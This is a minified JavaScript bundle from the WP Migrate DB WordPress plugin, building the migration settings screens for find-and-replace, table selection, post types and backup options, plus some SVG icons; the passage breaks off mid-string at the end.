r.createElement("div",{className:"flex-container"},r.createElement("button",{className:"link",onClick:()=>{a(!0)}},(0,v.__)("Yes, I'd Like to Help","wp-migrate-db"))," ","\xa0|\xa0",r.createElement("button",{className:"link",onClick:()=>{a(!1)}},(0,v.__)("No","wp-migrate-db")),r.createElement("div",{className:"relative"},!0===t.allow_tracking&&r.createElement(it.LC,null)))})(e)),"wpmdb_invalid_license"===m&&(_=p.message[c]||p.message.default||p.message,f=r.createElement(Hr,null));var b=p.error?"danger":"warning";t.push(r.createElement(z.A,{type:b},(0,h.Ay)(_),r.createElement(jn,{status:a[m],errors:n[m]},(0,g.PQ)()&&r.createElement(r.Suspense,{fallback:r.createElement("div",null,(0,v.__)("Loading...","wp-migrate-db"))},f),!(0,g.PQ)()&&f)))})),t.map(((e,t)=>r.createElement("div",{key:t}," ",e)))})));var qr=e=>{var t=e.componentStack,a=e.error;return r.createElement(z.A,{type:"danger"},r.createElement("p",null,r.createElement("strong",null,"Oops! An error occured!")),r.createElement("p",null,"Here\u2019s what we know\u2026"),r.createElement("p",null,r.createElement("strong",null,"Error:")," ",a.toString()),r.createElement("p",null,r.createElement("strong",null,"Stacktrace:")," ",t))},Zr=(0,r.lazy)((()=>(0,g.PQ)()?Promise.resolve(null):a.e(481).then(a.bind(a,28481)))),Qr=e=>{var t=e.isPro;return r.createElement(r.Fragment,null,r.createElement("div",{className:"nav-wrap"},r.createElement("div",{className:"wrapper"},r.createElement(Br,{isPro:t}),r.createElement(Ur,null))),r.createElement("div",{className:"wrapper"},r.createElement(Wr,null)),r.createElement(Fr.ErrorBoundary,{FallbackComponent:qr},r.createElement("div",{className:"wrapper".concat(t?"":" wrapper-free"," ").concat((0,o.zy)().pathname.replace("/",""))},r.createElement(E,null,r.createElement("div",null,e.children)),!(0,g.PQ)()&&r.createElement(r.Suspense,{fallback:r.createElement("div",null,(0,v.__)("Loading...","wp-migrate-db"))},r.createElement(Zr,e)))))};function Yr(e){var t="",a=[],n=e.items,i=e.selected,l=e.defaultTitle,s=e.panelsOpen,c=e.showDefault,o=e.panelName;if(rt()(s,e.type))return r.createElement(Aa,null);var d=", ";e.hasOwnProperty("separator")&&(d=e.separator),i.forEach((e=>{a.push(e)}));var m=n.length,p=i.length,u="(".concat(p," of ").concat(m,")");return p>0&&!c?(t="".concat(u," ").concat(a.join(d)),e.hideCount&&(t="".concat(a.join(d)))):0===p&&["tables","backups","post_types"].includes(o)&&(t=""+(0,v.__)("Empty selection","wp-migrate-db")+""),c&&(t=l),r.createElement(Aa,{className:e.panelName},(0,h.Ay)(t))}var Jr,Kr=a(75868),Xr=(0,b.Ay)(Kr.h)(Jr||(Jr=(0,f.A)(["\n position: absolute;\n top: -4px;\n right: -30px;\n"])));var $r=e=>{var t=e.advancedOption,a=e.advancedOptions;return r.createElement("input",{type:"checkbox",className:t,checked:rt()(a,t),onChange:()=>{((e,t)=>{e.updateAdvancedOptions(t)})(e,t)}})},ei={replace_guids:(0,v.__)("Replace GUIDs","wp-migrate-db"),exclude_spam:(0,v.__)("Exclude spam comments","wp-migrate-db"),exclude_transients:(0,v.__)("Exclude transients","wp-migrate-db"),keep_active_plugins:(0,v.__)("Keep active plugins","wp-migrate-db"),compatibility_older_mysql:(0,v.__)("Compatible with older versions of MySQL (pre-5.5)","wp-migrate-db"),gzip_file:(0,v.__)("Compress file with gzip","wp-migrate-db"),exclude_post_revisions:(0,v.__)("Exclude revisions","wp-migrate-db")};const ti=(0,i.Ng)((function(e){return{panelsOpen:(0,ma.o)("panelsOpen",e),intent:(0,Q.ud)("intent",e),current_migration:e.migrations.current_migration}}),{updateAdvancedOptions:W.qy})((e=>{var t=e.current_migration.advanced_options_selected,a=[];return Object.keys(ei).forEach((function(e){rt()(t,e)&&a.push(ei[e])})),r.createElement(Ot.A,(0,s.A)({title:e.title,panelName:e.panelName,className:"advanced-options",isOpen:!0,selected:t,panelSummary:r.createElement(Yr,(0,s.A)({},e,{items:V.l$,selected:a,type:e.panelName,panelsOpen:e.panelsOpen,hideCount:!0,separator:" | "}))},e),r.createElement("fieldset",{className:"options-wrap","aria-label":e.title},r.createElement("div",{className:"options-list"},"import"!==e.intent&&r.createElement(r.Fragment,null,"backup_local"!==e.intent&&r.createElement("div",null,r.createElement("label",{style:{position:"relative"}},r.createElement($r,(0,s.A)({advancedOption:"replace_guids",advancedOptions:t},e)),ei.replace_guids,r.createElement(dt.A,{effect:"solid",place:"right",type:"light",delayUpdate:500,delayHide:500,border:!0,className:"action-tooltip",id:"wpmdb-replace-guids-tip"},(0,v.__)("Although the WordPress Codex emphasizes that GUIDs should not be changed, this is limited to sites that are already live. If the site has never been live, we recommend replacing the GUIDs. For example, you may be developing a new site locally at dev.somedomain.com and want to migrate the site live to somedomain.com.","wp-migrate-db")),r.createElement(Xr,{"data-tip":!0,"data-for":"wpmdb-replace-guids-tip",className:"question-mark"}))),r.createElement("div",null,r.createElement("label",null,r.createElement($r,(0,s.A)({advancedOption:"exclude_spam",advancedOptions:t},e)),ei.exclude_spam)),r.createElement("div",null,r.createElement("label",null,r.createElement($r,(0,s.A)({advancedOption:"exclude_transients",advancedOptions:t},e)),(0,h.Ay)((0,v.nv)((0,v.__)('Exclude transients',"wp-migrate-db"),"https://developer.wordpress.org/apis/handbook/transients/"))," ",r.createElement("span",{className:"dark"},(0,v.__)("(temporary cached data)","wp-migrate-db"))))),rt()(["push","pull","import"],e.intent)&&r.createElement("div",null,r.createElement("label",null,r.createElement($r,(0,s.A)({advancedOption:"keep_active_plugins",advancedOptions:t},e)),(0,v.nv)((0,v.__)("Do not %s the 'active_plugins' setting","wp-migrate-db"),e.intent),r.createElement("br",null),r.createElement("small",null,(0,v.__)("(i.e. which plugins are activated/deactivated)","wp-migrate-db")))),"savefile"===e.intent&&r.createElement("div",null,r.createElement("label",null,r.createElement($r,(0,s.A)({advancedOption:"compatibility_older_mysql",advancedOptions:t},e)),(0,v.__)("Compatible with older versions of MySQL","wp-migrate-db")," ",r.createElement("span",{className:"dark"},(0,v.__)("(pre-5.5)","wp-migrate-db")))),rt()(["savefile","backup_local"],e.intent)&&r.createElement("div",null,r.createElement("label",null,r.createElement($r,(0,s.A)({advancedOption:"gzip_file",advancedOptions:t},e)),ei.gzip_file)),r.createElement("div",null,r.createElement("label",null,r.createElement($r,(0,s.A)({advancedOption:"exclude_post_revisions",advancedOptions:t},e)),ei.exclude_post_revisions)))))}));a(65870);var ai,ni=b.Ay.section(ai||(ai=(0,f.A)(["\n display: grid;\n"])));const ri=e=>{var t=e.intent,a=e.className,n=e.children;return r.createElement(ni,{className:a||""},r.createElement("div",{className:"header-row row"},r.createElement("div",{className:"header-2"},(0,v.__)("Find","wp-migrate-db")),r.createElement("div",{className:"header-4"},"savefile"===t&&(0,v.__)("Replace (Optional)","wp-migrate-db"),"savefile"!==t&&(0,v.__)("Replace","wp-migrate-db"))),n)};var ii,li,si,ci=a(43318),oi=a(25096),di=b.Ay.span(ii||(ii=(0,f.A)(["\n padding: 0 0.5rem;\n border-left: 1px solid ",";\n\n &.first {\n border-left: none;\n padding-left: 0;\n }\n"])),wa.SH),mi=(0,b.Ay)(oi.h)(li||(li=(0,f.A)(["\n margin: 0 0.3rem;\n"]))),pi=b.Ay.span(si||(si=(0,f.A)(["\n position: relative;\n top: 4px;\n"])));function ui(e){var t="",a=e.fields,n=e.panelsOpen,i=e.searchKeys;if(rt()(n,e.type))return r.createElement(Aa,null);var l=[];return a.forEach((e=>{e[i.search].length&&l.push(r.createElement(r.Fragment,null,e[i.search],r.createElement(pi,null,r.createElement(mi,null)),e[i.replace]))})),l.length>0&&(t=r.createElement(r.Fragment,null,l.map(((e,t)=>r.createElement(di,{key:t,className:0===t?"first":""},e))))),r.createElement(Aa,null,t)}var _i=e=>e.migrations.search_replace;function gi(e,t){return(0,Q.JU)(_i,"search_replace",e,t)}var fi=e=>{var t=e.count,a=e.panelsOpen,n=e.title,i=e.panelKey,l=e.panelName;return t>0&&!a.includes(i)?r.createElement("h4",{id:"panel-title-".concat(l),className:"panel-title"},n," ",r.createElement("b",{className:"count"},"(",t,")")):r.createElement("h4",{id:"panel-title-".concat(l),className:"panel-title"},n)},bi=a(93951),hi=a(73035);const vi=e=>{var t=e.enabled,a=e.screenReaderText,n=e.onClick;return t?r.createElement("button",{onClick:n},r.createElement(oi.h,{"aria-hidden":"true"}),r.createElement("span",{className:"screen-reader-text"},a)):r.createElement(oi.h,{"aria-hidden":"true"})};var Ei=(e,t)=>{e.toggleStandardSearchReplace(t)};const wi=(0,i.Ng)((function(e){var t=(0,ma.o)("panelsOpen",e),a=(0,Q.jG)("search_replace",e),n=gi("standard_search_replace",e),r=gi("standard_options_enabled",e),i=(0,Q.ud)("selected_existing_profile",e),l=e.multisite_tools;return{search_replace:a,standard_search_replace:n,standard_options_enabled:r,panelsOpen:t,migrations:e.migrations,existingProfile:i,mst:l}}),{updateStandardSearchReplace:ci.Xe,toggleStandardSearchReplace:ci.Ky})((e=>{var t,a,n=e.standard_search_replace,l=e.standard_options_enabled,c=e.panelsOpen,o=e.migrations,d=e.existingProfile,m=e.mst,p=o.current_migration.intent,u=n.domain,_=n.path,g=(0,r.useState)(""),f=(0,y.A)(g,2),b=f[0],E=f[1],w=(0,r.useState)(null!==(t=u.replace)&&void 0!==t?t:""),A=(0,y.A)(w,2),k=A[0],x=A[1],N=(0,r.useState)(null!==(a=_.replace)&&void 0!==a?a:""),S=(0,y.A)(N,2),T=S[0],P=S[1],O=(0,i.wA)(),C=[];return(0,r.useEffect)((()=>{if("savefile"===p&&null===d){var t=[...e.panelsOpen];t.push("standard_fields"),O((0,H.TA)(t))}}),[]),(0,r.useEffect)((()=>{if("savefile"===p){var e=(0,bi.I)({intent:p,remote_site:{url:k,path:T},local_site:o.local_site});e=O((0,hi.W5)("wpmdb_standard_replace_values",e)),O((0,ci.Xe)(e))}}),[k,T,m]),rt()(l,"domain")&&("savefile"===p?u.replace&&C.push(u):C.push(u)),rt()(l,"path")&&("savefile"===p?_.replace&&C.push(_):C.push(_)),r.createElement(Ot.A,(0,s.A)({title:e.title,panelName:e.panelName,isOpen:!0,header:r.createElement(fi,(0,s.A)({count:l.length,panelsOpen:c,title:e.title,panelKey:"standard_fields"},e)),selected:l,panelSummary:r.createElement(ui,(0,s.A)({},e,{fields:C,enabled:l,type:e.panelName,searchKeys:{search:"search",replace:"replace"},panelsOpen:e.panelsOpen})),bodyClass:"standard-search-replace search-replace"},e),r.createElement(ri,{intent:p},r.createElement("div",{className:"content-row-wrap"},r.createElement("div",{className:"row content-row"},r.createElement("div",{className:"cell"},"savefile"!==p&&r.createElement("input",{type:"checkbox",onChange:()=>{Ei(e,"domain")},checked:rt()(l,"domain"),"aria-label":(0,v.__)("Find and replace URLs","wp-migrate-db")})),r.createElement("div",{className:"cell search"},u.search),r.createElement("div",{className:"cell custom-search-arrow"},r.createElement(vi,{screenReaderText:(0,v.__)("Copy find field to replace field","wp-migrate-db"),enabled:"savefile"===p,onClick:()=>{x(u.search)}})),r.createElement("div",{className:"cell replace"},"savefile"===p&&r.createElement("input",{type:"text","aria-label":(0,v.__)("Replace","wp-migrate-db"),onChange:e=>{x(e.target.value?e.target.value.trim():"")},defaultValue:k}),"savefile"!==p&&u.replace),r.createElement("div",{className:"question cell"},r.createElement(dt.A,{effect:"solid",place:"left",type:"light",delayHide:500,delayUpdate:500,border:!0,className:"action-tooltip",id:"wpmdb-search-replace-url-tip",getContent:()=>"url"!==b?null:(0,h.Ay)((0,v.nv)((0,v.__)('This find & replace updates the domain of all the matching URLs in\n your database. You may wonder why we have double slashes in front\n of the domain name. If we excluded those, it could replace your\n domain in unwanted places like email addresses. You probably don\'t\n want to replace joe@yourdomain.com with\n joe@staging.yourdomain.com. More details in our\n \n Find & Replace Doc \u2192\n ',"wp-migrate-db"),"https://deliciousbrains.com/wp-migrate-db-pro/doc/find-and-replace/?utm_campaign=support%2Bdocs&utm_source=MDB%2BFree&utm_medium=insideplugin&utm_content=new%2Burl%2Bhelp%2Bbubble"))}),r.createElement(Kr.h,{"data-tip":!0,"data-for":"wpmdb-search-replace-url-tip",onMouseOver:()=>E("url")})))),r.createElement("div",{className:"content-row-wrap"},r.createElement("div",{className:"row content-row"},r.createElement("div",{className:"cell"},"savefile"!==p&&r.createElement("input",{type:"checkbox",onChange:()=>{Ei(e,"path")},checked:rt()(l,"path"),"aria-label":(0,v.__)("Find and replace web root path","wp-migrate-db")})),r.createElement("div",{className:"cell search"},_.search),r.createElement("div",{className:"cell custom-search-arrow"},r.createElement(vi,{screenReaderText:(0,v.__)("Copy find field to replace field","wp-migrate-db"),enabled:"savefile"===p,onClick:()=>{P(_.search)}})),r.createElement("div",{className:"cell replace"},"savefile"===p&&r.createElement("input",{type:"text","aria-label":(0,v.__)("Replace","wp-migrate-db"),onChange:e=>{P(e.target.value?e.target.value.trim():"")},defaultValue:T}),"savefile"!==p&&_.replace),r.createElement("div",{className:"question cell"},r.createElement(dt.A,{effect:"solid",place:"left",type:"light",delayHide:500,delayUpdate:500,border:!0,className:"action-tooltip",id:"wpmdb-search-replace-path-tip",getContent:()=>"path"!==b?null:(0,h.Ay)((0,v.nv)((0,v.__)('The web root paths differ between your two sites. We\'ll update any\n matching file paths that exist in your database. More details in\n our
Find & Replace Doc \u2192',"wp-migrate-db"),"https://deliciousbrains.com/wp-migrate-db-pro/doc/find-and-replace/?utm_campaign=support%2Bdocs&utm_source=MDB%2BFree&utm_medium=insideplugin&utm_content=new%2Burl%2Bhelp%2Bbubble"))}),r.createElement(Kr.h,{"data-tip":!0,"data-for":"wpmdb-search-replace-path-tip",onMouseOver:()=>E("path")}))))),l.length<2&&"savefile"!==p&&r.createElement(z.A,{type:"warning"},(0,v.__)("Turning off these standard find & replace operations\n could break this site. Only disable them if you are confident in\n what you're doing.","wp-migrate-db")))}));const yi=e=>{var t=e.intent;return r.createElement(z.A,{type:"warning"},r.createElement("h4",null,(0,v.__)("Mixed Case Table Name","wp-migrate-db")),r.createElement("p",null,(0,h.Ay)((0,v.nv)((0,v.__)("Whoa! We've detected that your %s site has the MySQL setting lower_case_table_names
set to 1
.","wp-migrate-db"),"push"===t?(0,v.__)("remote","wp-migrate-db"):(0,v.__)("local","wp-migrate-db")))),r.createElement("p",null,(0,v.__)("As a result, uppercase characters in table names will be converted to lowercase during the migration.","wp-migrate-db")),r.createElement("p",null,(0,h.Ay)((0,v.nv)((0,v.__)('You can read more about this in our documentation, proceed with caution.',"wp-migrate-db"),"https://deliciousbrains.com/wp-migrate-db-pro/doc/mixed-case-table-names/?utm_campaign=error%2Bmessages&utm_source=MDB%2BPaid&utm_medium=insideplugin"))))};const Ai=e=>{var t=[],a=e.status,n=void 0===a?{}:a,i=e.intent;return n.mixed_case_table_name_warning&&t.push(r.createElement(yi,(0,s.A)({intent:i},e))),t};var ki={push:{all:(0,v.__)("Push all tables with prefix","wp-migrate-db"),selected:(0,v.__)("Push only the selected tables below","wp-migrate-db"),backup:(0,v.__)("Backup the remote database before replacing it","wp-migrate-db")},pull:{all:(0,v.__)("Pull all tables with prefix","wp-migrate-db"),selected:(0,v.__)("Pull only the selected tables below","wp-migrate-db"),backup:(0,v.__)("Backup the local database before replacing it","wp-migrate-db")},import:{all:(0,v.__)("Import all tables with prefix","wp-migrate-db"),selected:(0,v.__)("Import only selected tables below","wp-migrate-db"),backup:(0,v.__)("Backup the database before running the import","wp-migrate-db"),backup_selected:(0,v.__)("Backup only the tables that will be replaced during the import","wp-migrate-db")},savefile:{all:(0,v.__)("Export all tables with prefix","wp-migrate-db"),selected:(0,v.__)("Export only selected tables below","wp-migrate-db"),post_types_all:(0,v.__)("Export all post types","wp-migrate-db"),post_types_selected:(0,v.__)("Export only post types selected below","wp-migrate-db")},backup_local:{all:(0,v.__)("Backup all tables with prefix","wp-migrate-db"),selected:(0,v.__)("Backup only selected tables below","wp-migrate-db"),post_types_all:(0,v.__)("Backup all post types","wp-migrate-db"),post_types_selected:(0,v.__)("Backup only post types selected below")},find_replace:{all:(0,v.__)("Search in all tables with prefix","wp-migrate-db"),selected:(0,v.__)("Search only in selected tables below","wp-migrate-db"),backup:(0,v.__)("Backup the database before running the find & replace","wp-migrate-db"),post_types_all:(0,v.__)("Search in all post types","wp-migrate-db"),post_types_selected:(0,v.__)("Search in only post types selected below","wp-migrate-db")}};const xi=e=>{var t=e.intent,a="find_replace"===t?(0,v.__)("The post types you don't select will not be included in the find & replace.","wp-migrate-db"):(0,v.__)("The post types you don't select will be absent in the destination posts table after migration.","wp-migrate-db");return r.createElement("div",{className:"options-list"},r.createElement("div",null,r.createElement("input",{type:"radio",name:"post-types[]",checked:"all"===e.postTypesOption,onChange:()=>e.togglePostTypesSelector("all"),id:"posttypes-all"}),r.createElement("label",{htmlFor:"posttypes-all"},["push","pull"].includes(t)?(0,v.__)("Migrate all post types","wp-migrate-db"):ki[t].post_types_all)),r.createElement("div",null,r.createElement("input",{type:"radio",name:"post-types[]",checked:"selected"===e.postTypesOption,onChange:()=>e.togglePostTypesSelector("selected"),id:"posttypes-selected"}),r.createElement("label",{htmlFor:"posttypes-selected"},["push","pull"].includes(t)?(0,v.__)("Migrate only selected post types below","wp-migrate-db"):ki[t].post_types_selected),"selected"===e.postTypesOption&&r.createElement(z.A,{type:"warning"},(0,h.Ay)(a))))};const Ni=(0,i.Ng)((function(e){var t=(0,ma.o)("panelsOpen",e),a=(0,Q.ud)("post_types_option",e),n=(0,Q.ud)("post_types_selected",e),r=(0,Q.ud)("advanced_options_selected",e);return{panelsOpen:t,post_types_selected:n,post_types_option:a,status:(0,Q.ud)("status",e),advanced_options_selected:r}}),{updatePostTypesOption:W.aX,updatePostTypesSelected:W.un})((e=>{var t=e.postTypes,a=e.post_types_option,n=e.post_types_selected,i=e.intent,l=t.filter((e=>"revision"!==e)),c=t=>{e.updatePostTypesOption(t,l)};return r.createElement(Ot.A,(0,s.A)({title:e.title,panelName:e.panelName,isOpen:!0,selected:n,hasDefault:!0,panelSummary:r.createElement(Yr,(0,s.A)({},e,{items:l,selected:n,title:e.title,type:e.panelName,panelsOpen:e.panelsOpen,defaultTitle:["push","pull"].includes(i)?(0,v.__)("Migrate all post types","wp-migrate-db"):ki[i].post_types_all,showDefault:"selected"!==a}))},e),r.createElement(hr.A,{id:"post-type-multiselect",options:l,stateManager:t=>{e.updatePostTypesSelected(t)},selected:n,handleToggle:c,visible:"selected"===a,updateSelected:e.updatePostTypesSelected,selectInverse:()=>(0,vr.A)(e.updatePostTypesSelected,l,n),ToggleButtons:r.createElement(xi,{postTypesOption:a,togglePostTypesSelector:c,intent:i})}),(0,ca.F)(e.status,"POST_TYPES_SELECTED_EMPTY")&&r.createElement(z.A,{type:"danger"},(0,v.__)("Please select post types to exclude or migrate all post types","wp-migrate-db")))}));const Si=e=>r.createElement("div",{className:"options-list",role:"radiogroup","aria-label":(0,v.__)("Tables migration options","wp-migrate-db")},r.createElement("div",null,r.createElement("input",{type:"radio",name:"tables",checked:"all"===e.tablesOption,onChange:()=>e.toggleTableSelector("all"),id:"all-tables"}),r.createElement("label",{htmlFor:"all-tables"},ki[e.intent].all,' "',e.prefix,'"')),r.createElement("div",null,r.createElement("input",{type:"radio",name:"tables",checked:"selected"===e.tablesOption,onChange:()=>e.toggleTableSelector("selected"),id:"selected-tables"}),r.createElement("label",{htmlFor:"selected-tables"},ki[e.intent].selected)));const Ti=(0,i.Ng)((function(e){var t=(0,ma.o)("panelsOpen",e),a=(0,Q.ud)("tables_option",e),n=(0,Q.ud)("tables_selected",e),r=(0,Q.ud)("databaseEnabled",e);return{panelsOpen:t,tablesOption:a,tablesSelected:n,status:(0,Q.ud)("status",e),databaseEnabled:r}}),{updateSelectedTables:W.aE,updateTablesOption:W.uI})((e=>{var t=e.intent,a=e.tables,n=e.prefix,i=e.tablesSelected,l=e.tablesOption,c=e.tableSizes,o=e.databaseEnabled,d=t=>{if(e.disabled)return!1;e.updateTablesOption(t,a)},m=(0,w.A)({},c);for(var p in c)m[p]=' ('.concat(c[p],")");var u=()=>o?(0,ca.F)(e.status,"TABLES_SELECTED_EMPTY")&&r.createElement(z.A,{type:"danger"},(0,v.__)("Please select at least one table to migrate","wp-migrate-db")):null;return r.createElement(Ot.A,(0,s.A)({title:e.title,selected:i,hasDefault:!0,panelSummary:r.createElement(Yr,(0,s.A)({},e,{items:a,selected:i,type:e.panelName,panelsOpen:e.panelsOpen,defaultTitle:"".concat(ki[t].all,' "').concat(e.prefix,'"'),showDefault:"selected"!==l})),panelName:e.panelName,isOpen:!0},e),r.createElement(hr.A,{id:"tables-multiselect",options:a,extraLabels:m,stateManager:t=>{e.updateSelectedTables(t)},selected:i,handleToggle:d,visible:"selected"===l,updateSelected:e.updateSelectedTables,selectInverse:()=>(0,vr.A)(e.updateSelectedTables,a,i),ToggleButtons:r.createElement(Si,{tablesOption:l,toggleTableSelector:d,intent:t,prefix:n})}),r.createElement(u,null))}));const Pi=e=>{var t=e.uploads_dir;return r.createElement(z.A,{type:"danger"},r.createElement("strong",null,(0,v.__)("Migration disabled","wp-migrate-db"))," \u2014",(0,h.Ay)((0,v.nv)((0,v.__)("This migration type has been disabled because the local uploads directory is not writable: %s
. Please update the permissions of this directory and try again.","wp-migrate-db"),t))," ",r.createElement("a",{href:"https://deliciousbrains.com/wp-migrate-db-pro/doc/uploads-folder-permissions/",target:"_blank",rel:"noopener noreferrer"},(0,v.__)("More information.","wp-migrate-db")))};var Oi=a(72076);const Ci=e=>{var t=e.prefix,a=(0,i.d4)((e=>e.migrations.import_data)).status;return r.createElement("div",{className:"options-list"},r.createElement("div",null,r.createElement("input",{type:"radio",name:"backup[]",checked:"none"===e.backupOption,onChange:()=>e.toggleBackupsSelector("none"),id:"no-backup"}),r.createElement("label",{htmlFor:"no-backup"},"No backup")),r.createElement("div",null,r.createElement("input",{type:"radio",name:"backup[]",checked:"backup_only_with_prefix"===e.backupOption,onChange:()=>e.toggleBackupsSelector("backup_only_with_prefix"),id:"prefix-backup"}),r.createElement("label",{htmlFor:"prefix-backup"},(0,v.nv)((0,v.__)('Backup all tables with "%s" prefix',"wp-migrate-db"),t))),"NON_MDB_IMPORT_ERROR"!==a&&r.createElement("div",null,r.createElement("input",{type:"radio",name:"backup[]",checked:"backup_selected"===e.backupOption,onChange:()=>e.toggleBackupsSelector("backup_selected"),id:"backup-selected"}),r.createElement("label",{htmlFor:"backup-selected"},"import"===e.intent?ki.import.backup_selected:(0,v.__)("Backup only tables selected for migration","wp-migrate-db"))),r.createElement("div",null,r.createElement("input",{type:"radio",name:"backup[]",checked:"backup_manual_select"===e.backupOption,onChange:()=>e.toggleBackupsSelector("backup_manual_select"),id:"manual-backup"}),r.createElement("label",{htmlFor:"manual-backup"},(0,v.__)("Backup only selected tables below","wp-migrate-db"))))};var Ri=["tables_selected","backup_option","status","tables","tableSizes","prefix","local_site","remote_site","backup_tables_selected","intent"];var Di=e=>({none:(0,v.__)("No backup","wp-migrate-db"),backup_only_with_prefix:(0,v.nv)((0,v.__)('Backup all tables with "%s" prefix',"wp-migrate-db"),e.prefix),backup_selected:(0,v.__)("Backup tables selected for migration","wp-migrate-db"),backup_manual_select:(0,v.__)("Backup selected tables","wp-migrate-db")});const Ii=(0,i.Ng)((function(e){var t=(0,ma.o)("panelsOpen",e),a=(0,Q.ud)("backup_tables_selected",e),n=(0,Q.ud)(["tables_selected","backup_option","status"],e),r=(0,y.A)(n,3);return{panelsOpen:t,backup_tables_selected:a,tables_selected:r[0],backup_option:r[1],status:r[2],remote_site:e.migrations.remote_site,local_site:e.migrations.local_site,panels:e.panels}}),{updateBackupsTables:W.Wn,updateBackupsOption:W.gY,updatePanelTitle:H.AJ})((e=>{e.tables_selected;var t=e.backup_option,a=e.status,n=e.tables,i=e.tableSizes,l=e.prefix,c=e.local_site,o=e.remote_site,d=e.backup_tables_selected,m=e.intent,p=(0,A.A)(e,Ri),u=(0,w.A)({},p),_=l;"import"!==m&&"pull"!==m||(_=c.this_prefix),"push"===m&&(_=o.prefix),u.prefix=_;var f=(0,g.nT)(m,c,o),b=f.disabled,h=f.uploads_dir,E=e=>{if(b)return null;p.updateBackupsOption(e,Di(u))},y=(0,w.A)({},i);for(var k in i)y[k]=' ('.concat(i[k],")");return r.createElement(r.Fragment,null,r.createElement(Ot.A,(0,s.A)({title:p.title,panelName:p.panelName,isOpen:!0,disabled:b,selected:d,hasDefault:!0,panelSummary:r.createElement(Yr,(0,s.A)({},p,{items:n,selected:d,title:p.title,type:p.panelName,panelsOpen:p.panelsOpen,defaultTitle:Di(u)[t],showDefault:"backup_manual_select"!==t}))},p),r.createElement(hr.A,{id:"backups-multiselect",options:n,extraLabels:y,visible:"backup_manual_select"===t,stateManager:e=>{p.updateBackupsTables(e)},selected:d,handleToggle:E,updateSelected:p.updateBackupsTables,selectInverse:()=>(0,vr.A)(p.updateBackupsTables,n,d),ToggleButtons:r.createElement(Ci,{backupOption:t,toggleBackupsSelector:E,prefix:_,intent:m,disabled:b})}),r.createElement(z.A,{type:"info",className:"backup-dir"},r.createElement("p",null,(0,v.nv)((0,v.__)("A file will be saved to %s","wp-migrate-db"),h))),(0,ca.F)(a,"BACKUP_TABLES_SELECTED_EMPTY")&&r.createElement(z.A,{type:"danger"},r.createElement("p",null,(0,v.__)("Please select at least one table to backup","wp-migrate-db")))))}));var Mi=a(64760),Li=a.n(Mi),Fi=a(22458);const Bi=(e,t,a)=>{var n=Array.from(e),r=n.splice(t,1),i=(0,y.A)(r,1)[0];return n.splice(a,0,i),n};var Ui;function zi(){return zi=Object.assign?Object.assign.bind():function(e){for(var t=1;tr.createElement("svg",zi({height:16,viewBox:"0 0 16 16",width:16,xmlns:"http://www.w3.org/2000/svg"},e),Ui||(Ui=r.createElement("g",{fill:"#0777ef",fillRule:"evenodd",transform:"translate(3 3)"},r.createElement("rect",{height:10,rx:1,width:2,x:4}),r.createElement("rect",{height:10,rx:1,transform:"rotate(-90 5 5)",width:2,x:4}))));a.p;var ji;function Vi(){return Vi=Object.assign?Object.assign.bind():function(e){for(var t=1;tr.createElement("svg",Vi({xmlns:"http://www.w3.org/2000/svg",width:24,height:24,viewBox:"0 0 24 24"},e),ji||(ji=r.createElement("g",{fill:"#999",fillRule:"evenodd"},r.createElement("path",{d:"M4 5h16v2H4zM4 9h16v2H4zM4 13h16v2H4zM4 17h16v2H4z"}))));a.p;var Wi;function qi(){return qi=Object.assign?Object.assign.bind():function(e){for(var t=1;tr.createElement("svg",qi({xmlns:"http://www.w3.org/2000/svg",width:24,height:24,viewBox:"0 0 24 24"},e),Wi||(Wi=r.createElement("g",{fill:"none",fillRule:"evenodd"},r.createElement("circle",{cx:12,cy:12,r:8,fill:"#999"}),r.createElement("path",{fill:"#EEE",fillRule:"nonzero",d:"m13.5 12 2.252-2.251c.33-.33.33-.87 0-1.201l-.3-.3a.851.851 0 0 0-1.2 0L12 10.5 9.748 8.248a.851.851 0 0 0-1.2 0l-.3.3c-.33.33-.33.87 0 1.2L10.497 12l-2.25 2.252c-.33.33-.33.87 0 1.2l.3.3c.33.33.87.33 1.2 0L12 13.502l2.251 2.25c.33.33.871.33 1.201 0l.3-.3c.33-.33.33-.87 0-1.2L13.501 12Z"}))));a.p;var Qi,Yi=a(74016),Ji=a.n(Yi),Ki=(e,t)=>async a=>{if(e){var n=await a((e=>async(t,a)=>{var n=(0,Q.jG)("search_replace",a()).custom_search_replace[e];if(n){var r=n.replace_old;if(""===r)return!0;try{var i=await(0,g.ty)("/regex-validate",{pattern:Ji()(r)});return i.success&&!0===i.data}catch(l){return!1}}return!1})(t));return a((0,ci.fj)({key:t,option:"isValidRegex",value:n})),n}return a((0,ci.fj)({key:t,option:"isValidRegex",value:null})),!0},Xi=(e,t)=>t["regex"===e?"case_sensitive":"regex"];function $i(){return $i=Object.assign?Object.assign.bind():function(e){for(var t=1;tr.createElement("svg",$i({width:20,height:12,viewBox:"0 0 20 13",fill:"none",xmlns:"http://www.w3.org/2000/svg"},e),Qi||(Qi=r.createElement("path",{d:"M.942 12.474c.542 0 .845-.259 1.058-.932l.836-2.432h4.39l.836 2.432c.205.665.525.932 1.067.932.578 0 .96-.328.96-.845 0-.216-.054-.449-.151-.734L6.604 1.742C6.302.871 5.867.5 5.058.5c-.81 0-1.245.38-1.556 1.242L.17 10.895c-.116.328-.169.553-.169.76 0 .5.382.82.942.82ZM3.316 7.61l1.67-4.978h.098l1.663 4.978H3.316ZM18.009 11.189h.098v.405c.044.544.39.863.933.863.613 0 .96-.38.96-1.035v-5.22c0-1.984-1.324-3.088-3.698-3.088-.977 0-1.724.164-2.293.466-.791.414-1.165.931-1.165 1.458 0 .414.285.699.72.699.338 0 .57-.087.81-.311.542-.535 1.057-.794 1.804-.794 1.2 0 1.849.535 1.849 1.562v.81H15.68c-2.098.01-3.36 1.036-3.36 2.718 0 1.657 1.236 2.778 3.067 2.778 1.164 0 2.106-.466 2.622-1.311Zm-3.707-1.562c0-.837.605-1.311 1.654-1.311h2.07v.983c0 .984-.88 1.743-2.026 1.743-1.013 0-1.698-.57-1.698-1.415Z",fill:"#30578C"})));a.p;var tl,al;function nl(){return nl=Object.assign?Object.assign.bind():function(e){for(var t=1;tr.createElement("svg",nl({width:16,height:12,viewBox:"0 0 16 13",fill:"none",xmlns:"http://www.w3.org/2000/svg"},e),tl||(tl=r.createElement("path",{d:"m15.735 7.569-3.03-1.652 3.03-1.653a.506.506 0 0 0 .196-.699l-.415-.714a.513.513 0 0 0-.708-.18l-2.956 1.78.074-3.432a.51.51 0 0 0-.51-.519h-.831a.51.51 0 0 0-.511.519l.074 3.432-2.956-1.78a.513.513 0 0 0-.708.18l-.415.714a.506.506 0 